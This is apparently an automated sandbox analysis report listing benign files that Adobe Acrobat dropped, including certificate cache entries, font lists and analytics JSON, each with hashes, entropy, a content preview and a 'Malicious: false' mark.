Preview:	.... .c........o........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFkltzeL/tfllXlE/HT8kzqbNNX8RolJuRdxLlGB9lQRYwpDdt:kKL/eT86oNMa8RdWBwRd
MD5:	98A5DB974ACB4F153295521FF52428C4
SHA1:	51990E9BD045B8C71CDB635B35A6ED7182B76AAB
SHA-256:	403D2B5B299D2452864336254690693B433B9B0FE0BD7886CFFB46CAD9CC34CA
SHA-512:	9363C3B5DC691B4C2E16A7776DA1E90A1330575BBBF5A6285716356BEF0B08E2A21932AEDBC6E8AAC72D4F413626704898B28A3E99AE4A37536CE8E528103A9F
Malicious:	false
Preview:	p...... .............c..(....................................................... ..........W....V...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kKIpsL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:gpsiDImsLNkPlE99SNxAhUe/3
MD5:	5E687133FF9433B50A3CB4015ACFB794
SHA1:	A2A394E501AE26021FAED830BF42C91B4E0BCB72
SHA-256:	ABD00820F0949FC7196F22F749860BA228A9515FF602614BEE466D10AEBE75DF
SHA-512:	39F3E60F9AC7AD6CF3FBF9E0EA3797C4ADA3C437A77341D3D28F0DB300ECB67432A1A1608CDF0232CFB0E7173A1383942FED2117C33FADD957068C9F6AC4F7F9
Malicious:	false
Preview:	p...... .........[..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7924

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7924

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.364994690316691
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQF6vhVoZcg1vRcR0Y2L1oAvJM3g98kUwPeUkwRe9:YvXKXL4Zc0vBLqGMbLUkee9
MD5:	7C3142964A6C8FA475B6A7D4B74C3C9B
SHA1:	5CBA28075CBCA94A89D7D732CD731FFF47B08035
SHA-256:	FB2B72C0292521334638AC0EE84808BD68E96893CD63081953717040C02C8410
SHA-512:	32826D7DC63166973A25D930467ED43D068AF6318E34AAA028699599E5C1F04D8F119DCF27CEF99BEC849E90EE66B7E7244494BA390F9FAAF870C37EDBD2B3D3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"851a98cc-f80a-4923-b86c-bfceceb27018","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736740735589,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.312446332133902
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQF6vhVoZcg1vRcR0Y2L1oAvJfBoTfXpnrPeUkwRe9:YvXKXL4Zc0vBLqGWTfXcUkee9
MD5:	08235DC5C629CBC08FA9D393E1256EB1
SHA1:	968AB0D6FBD52AA5E55CC443680A1A6078ACA9F8
SHA-256:	565868E29B446B7D0A3C236442CCE8081208FE267F11DAA0682B4EE3CD04578A
SHA-512:	093C2C7C1C9D3BA8EEDCD848017ECC4EBCFE76EB50D535202C8C075E4A23C8155BC461F5AC03DA6D1A0C6C6C698CCC1B156C6F750F1FBC51C91AC691073464A8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"851a98cc-f80a-4923-b86c-bfceceb27018","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736740735589,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.289856594844677
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQF6vhVoZcg1vRcR0Y2L1oAvJfBD2G6UpnrPeUkwRe9:YvXKXL4Zc0vBLqGR22cUkee9
MD5:	7360F6B12B1234430006B335936CA163
SHA1:	2387EE0A1C0DA52CDE6E3F0A94C3E92B9CC09187
SHA-256:	EF46F5BB166FC6550D12BDC8B4E07F7EF82376882BB2CF684FC0F75DB491EDFE
SHA-512:	AA26E18846ED708AD029DB633205D7042127FC654932BFB853E847FAE07313C64A4D2400D5E913F0FE1E27433DD3AA6415AD28637141EE0E4CB578CE93B01EC2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"851a98cc-f80a-4923-b86c-bfceceb27018","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736740735589,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.352062435248675
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQF6vhVoZcg1vRcR0Y2L1oAvJfPmwrPeUkwRe9:YvXKXL4Zc0vBLqGH56Ukee9
MD5:	FF17AFC24F20BA624019BD486BCE7854
SHA1:	B0775A1E14D31F0823D749FD5F95D9130A6497EB
SHA-256:	E655C8F208E32057E1BD91E66B2CAF5620BF55489F686355CD009E8A260D1838
SHA-512:	B7949489A5E95C339C90980564D848CEE0B57DF14F43CA22A828007306EA0E4E6DACF0EA52DAF6F7DB12EB02866402DDC0E657E1BBECABCC56B2454504F1EF65
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"851a98cc-f80a-4923-b86c-bfceceb27018","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736740735589,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.689222004282931
Encrypted:	false
SSDEEP:	24:Yv6XL4zvBLnpLgE9cQx8LennAvzBvkn0RCmK8czOCCSH:YvAAlnhgy6SAFv5Ah8cv/H
MD5:	63A49E7B92AE4998CB04F1E590B7E061
SHA1:	9653E8068E873C05185C7FE989DD3B6A51CBC3D2
SHA-256:	3F389A8CB1B8BB28187B56B8BB77624D0AD4E1FAC334619AA80791E9E3CD0293
SHA-512:	9E0EAA814C25171923B652756854FD47E3B350EE66EBAF8EE361CE252C8AF2D86B343B5D35D19AA86D01F55DD9C00EAB3ACE703B5817B5F21A0B668D2FCE1AC1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"851a98cc-f80a-4923-b86c-bfceceb27018","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736740735589,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.299488747170456
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQF6vhVoZcg1vRcR0Y2L1oAvJf8dPeUkwRe9:YvXKXL4Zc0vBLqGU8Ukee9
MD5:	DFC71B50AA83CE728A497D281D323D86
SHA1:	01D267555F33E5040FC2D07A585C49A2FCC46B8F
SHA-256:	8304D758C53E2E9D9F092DF7CA28066AAED4B92DC413BB892CC632D7F922E59C
SHA-512:	88E3D6137AD2D56DEDE34BB6CA0C10F35599B7D04C1388B59A9FE06942C14494F1307CE83A42C116F764B64D1BE40741B25FE4006B62BA42E513378BA8379CFD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"851a98cc-f80a-4923-b86c-bfceceb27018","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736740735589,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.303394635392355
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQF6vhVoZcg1vRcR0Y2L1oAvJfQ1rPeUkwRe9:YvXKXL4Zc0vBLqGY16Ukee9
MD5:	3017DA900C350F89EEB3C369521AD4FA
SHA1:	33965F8B580EE3DACA4E0B6FCDA3B6B01280CED3
SHA-256:	1F2BF30A96DB010F08106E68B7DDC13D1D8ED6F2D9E73C925DA655F1E8A0DFB4
SHA-512:	B8E0133720B2008A5C0A5904FF30C60046D43125A28728819607805181020E4F00FC1EE64F4207C20FA79B4506C15CD7B9163054CCC1DC6F7C5EA62932B84BE5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"851a98cc-f80a-4923-b86c-bfceceb27018","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736740735589,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.31231365734859
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQF6vhVoZcg1vRcR0Y2L1oAvJfFldPeUkwRe9:YvXKXL4Zc0vBLqGz8Ukee9
MD5:	EDFDDC333E9989BF6F18B1A9FA24C327
SHA1:	AA8CAE5FC32BB9BF8E7A0BC0837069C8C0C61F53
SHA-256:	2290D2F90A5B69EE75337632B175407CE9FE796335170CEEA1F0EF5D93C245C4
SHA-512:	23FAA3A2E71A64210D53A523C6C2DCC3E6594492A2E95CC59045910A46C3C2E6CBF681DF9BC0F366A01C2C3BAA3CF66CC99605B7FC30CC50C72338792C522718
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"851a98cc-f80a-4923-b86c-bfceceb27018","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736740735589,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.326248069442582
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQF6vhVoZcg1vRcR0Y2L1oAvJfzdPeUkwRe9:YvXKXL4Zc0vBLqGb8Ukee9
MD5:	F613D10FB13FBA924B675EC7247F6FFB
SHA1:	B0F94ECE8423F93164F7FFC38C394FA35E47F23A
SHA-256:	99D82A45CF088DDA3234FAD7FD241FC8D07811959B712DDD2962CF423B043E14
SHA-512:	5B44EA2FD86B0CD9109AF18B226215ED55EEB23B16C91DDBE780D94CB7F3DA9813151634CCF70A889E655D6F4EC64DE357C1112F63C3C7476EFFE8C59512D3F1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"851a98cc-f80a-4923-b86c-bfceceb27018","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736740735589,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3070347419434105
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQF6vhVoZcg1vRcR0Y2L1oAvJfYdPeUkwRe9:YvXKXL4Zc0vBLqGg8Ukee9
MD5:	89B78B738D21785DE6798B09DF95E94A
SHA1:	F7F8A4130FDA4037AD5FA739CE515FD551747BD9
SHA-256:	E0D143856B2939077E0C03FA3EF44A3BDBAB6455587533FF0E648C0EB126C3DB
SHA-512:	209AD3001C7E41D866A314EC7DA8067D5C232C50CC72D46CDD6D2227A03EECBF16B429C590A6FA7114BF154CF0267674AEB89676061A33390C33AFDC223D101B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"851a98cc-f80a-4923-b86c-bfceceb27018","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736740735589,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.293507956784478
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQF6vhVoZcg1vRcR0Y2L1oAvJf+dPeUkwRe9:YvXKXL4Zc0vBLqG28Ukee9
MD5:	90A8F09173FC3AF42644BE2CC033B066
SHA1:	A0AA0209F804165A630E41E81F7A73AD4BC68642
SHA-256:	344891327280F8B74AE328E2247F9F78418254BA7B88351FAA3B91A98A633D95
